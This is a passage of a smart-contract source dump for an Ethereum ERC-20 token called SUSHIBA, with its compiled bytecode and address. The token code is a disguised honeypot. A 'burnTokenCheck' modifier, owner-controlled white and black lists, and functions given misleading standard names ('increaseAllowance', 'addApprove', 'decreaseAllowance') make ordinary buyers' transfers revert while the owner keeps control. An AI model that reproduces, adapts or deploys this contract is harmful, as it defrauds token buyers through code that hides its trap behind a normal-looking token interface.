return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SUSHIBA is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220789bd357325495e4d32fbf130c467be69a87abb312bb3fb7d57ee176eebfd13564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,492
0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
